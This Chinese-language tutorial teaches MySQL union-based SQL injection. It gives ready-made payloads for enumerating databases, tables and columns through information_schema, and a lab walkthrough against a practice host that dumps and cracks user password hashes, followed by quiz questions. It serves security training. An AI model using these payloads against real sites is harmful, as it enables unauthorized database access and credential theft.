前言
SQL注入是比較常見的網絡攻擊方式之一,它不是利用操作系統的BUG來實現攻擊,而是針對程序員編寫時的疏忽,通過SQL語句,實現無賬號登錄,甚至篡改數據庫。
SQL簡介
SQL 是一門 ANSI 的標准計算機語言,用來訪問和操作數據庫系統-。SQL 語句用於取回和更新數據庫中的數據。SQL 可與數據庫程序協同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他數據庫系統。
SQL注入
SQL注入就是一種通過操作輸入來修改后台SQL語句達到代碼執行進行攻擊目的的技術。
SQL注入產生原理
- 對用戶輸入的參數沒有進行嚴格過濾(如過濾單雙引號 尖括號等),就被帶到數據庫執行,造成了SQL注入
- 使用了字符串拼接的方式構造SQL語句
SQL注入的分類
從注入手法分類可以分為:聯合查詢注入、報錯型注入、布爾型注入、延時注入、堆疊注入
從數據類型上可以分為:字符型(即輸入的輸入使用符號進行過濾)、數值型(即輸入的輸入未使用符號進行過濾)
從注入位置可以分類為:GET數據(提交數據方式為GET,大多存在地址欄)、POST數據(提交數據方式為POST,大多存在輸入框中)、HTTP頭部(提交數據方式為HTTP頭部)、cookie數據(提交數據方式為cookie)
SQL注入的危害
分為兩類:危害數據庫里的數據、直接危害到網站的權限(需要滿足條件)
- 數據庫信息泄露
- 網頁篡改:登陸后台后發布惡意內容
- 網站掛馬 : 當拿到webshell時或者獲取到服務器的權限以后,可將一些網頁木馬掛在服務器上,去攻擊別人
- 私自添加系統賬號
- 讀寫文件獲取webshell
MYSQL數據庫
數據庫A=網站A=數據庫用戶A
表名
列名
數據
數據庫B=網站B=數據庫用戶B
。。。。。。
數據庫C=網站C=數據庫用戶C
。。。。。。
必要知識
1.在MYSQL5.0以上版本中,MYSQL存在一個自帶數據庫名為information_schema,它是一個存儲記錄有所有數據庫名,表名,列名的數據庫,也相當於可以通過查詢它獲取指定數據庫下面的表名或者列名信息。
2.數據庫中符號"."代表下一級,如xiaodi.user表示xiaodi數據庫下的user表名。
3.常用參數
- information_schema.tables:記錄所有表名信息的表
- information_schema.columns:記錄所有列名信息的表
- table_name:表名
- column_name:列名
- table_schema:數據庫名
- user() 查看當前MySQL登錄的用戶名
- database() 查看當前使用MySQL數據庫名
- version() 查看當前MySQL版本
如何判斷注入點
1.如果頁面中MySQL報錯,證明該頁面中存在SQL注入漏洞
單引號 '
and 1=1
and 1=2
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 錯誤
2.邏輯運算符(或與非)
真 且 真 = 真
真 且 假 = 假
真 或 假 = 真
SELECT * FROM users WHERE id=1 真
1=1 真
1=2 假
真且真=真
真且假=假
SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常
SQL注入利用
1.利用order判斷字段數
order by x(數字) 正常與錯誤的正常值 正確網頁正常顯示,錯誤網頁報錯
?id=1' order by 3--+
2.利用 union select 聯合查詢,將id值設置成不成立,即可探測到可利用的字段數
?id=-1 union select 1,2,3 --+
3.利用函數database(),user(),version()可以得到所探測數據庫的數據庫名、用戶名和版本號
?id=-1 union select 1,database(),version() --+
4.利用 union select 聯合查詢,獲取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知庫名'--+
注 :此處用SQLi-labs的數據庫做例子,數據庫名稱為:security
5.利用 union select 聯合查詢,獲取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名' and table_schema='已知庫名'--+
6.利用 union select 聯合查詢,獲取字段值
?id=-1' union select 1,2,group_concat(已知字段名, ':' ,已知字段名) from 已知庫名.已知表名 --+
測試演示
要選用最舒服的方法測試:
SELECT * FROM users WHERE id=1asdsadsad(隨便輸入) LIMIT 0,1
隨便輸入后對網頁有影響說明帶入數據庫進行查詢,有注入點,沒有影響說明沒有帶入數據庫查詢,出現404錯誤說明對輸入檢測,沒有漏洞
1.猜解列名數量(字段數)
order by x(數字) 正常與錯誤的正常值 正確網頁正常顯示,錯誤網頁報錯
http://219.153.49.228:48965/new_list.php?id=1 order by 4
2.報錯猜解准備
http://219.153.49.228:48965/new_list.php?id=1 union select 1,2,3,4
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,2,3,4
或者
http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,2,3,4
3.信息收集
數據庫版本:version() 5.7.22-0ubuntu0.16.04.1
數據庫名字:database() mozhe_Discuz_StormGroup
數據庫用戶:user() root@localhost
操作系統:@@version_compile_os Linux
http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,version(),database(),4
http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,user(),@@version_compile_os,4
4.查詢指定數據庫名 “mozhe_Discuz_StormGroup” 下的表名信息:
- 查詢一個
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 查詢所有
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 查詢到的表名
StormGroup_member, notice
5.查詢指定表名“StormGroup_member”下的列名信息
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查詢的結果
id,name,password,status
6.查詢指定數據
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
查詢結果
mozhe
356f589a7df439f6f744ff19bb8092c0 -md5解密--> dsan13
7.猜解多個數據可以采用limit x,1變動猜解
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1
mozhe
356f589a7df439f6f744ff19bb8092c0 --md5解密--> dsan13
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
mozhe
2ae4c2ac594629684e67554fc5ad6ee1 --md5解密--> 147719
題目
- 可能存在注入的編號選項有哪幾個?
www.xiaodi8.com/index.php?id=8
www.xiaodi8.com/?id=10
www.xiaodi8.com/?id=10&x=1
www.xiaodi8.com/index.php(post注入)
- 參數有x注入,以下哪個注入測試正確
A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2
B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1
C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1
D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1
- 如果參數id存在注入點,參數的位置可以互換,使用工具的時候要注意
http://www/cnhgs.net/main.php?id53(注入點) and 1=2 &page=1
-> http://www/cnhgs.net/main.php?page=1&id53(注入點) and 1=2